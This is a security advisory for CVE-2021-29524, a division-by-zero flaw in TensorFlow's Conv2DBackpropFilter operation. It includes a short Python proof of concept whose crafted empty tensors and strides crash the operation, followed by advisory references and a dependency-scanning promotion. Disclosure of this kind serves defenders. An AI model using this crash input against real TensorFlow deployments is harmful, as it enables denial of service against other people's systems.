CVE-2021-29524: Division by 0 in `Conv2DBackpropFilter`
(updated )
An attacker can trigger a division by 0 in tf.raw_ops.Conv2DBackpropFilter
:
import tensorflow as tf
input_tensor = tf.constant([], shape=[0, 0, 1, 0], dtype=tf.float32)
filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 0, 1, 1], dtype=tf.float32)
tf.raw_ops.Conv2DBackpropFilter(input=input_tensor, filter_sizes=filter_sizes,
out_backprop=out_backprop,
strides=[1, 66, 18, 1], use_cudnn_on_gpu=True,
padding='SAME', explicit_paddings=[],
data_format='NHWC', dilations=[1, 1, 1, 1])
References
- github.com/advisories/GHSA-r4pj-74mg-8868
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-452.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-650.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-161.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/fca9874a9b42a2134f907d2fb46ab774a831404a
- github.com/tensorflow/tensorflow/security/advisories/GHSA-r4pj-74mg-8868
- nvd.nist.gov/vuln/detail/CVE-2021-29524
Detect and mitigate CVE-2021-29524 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →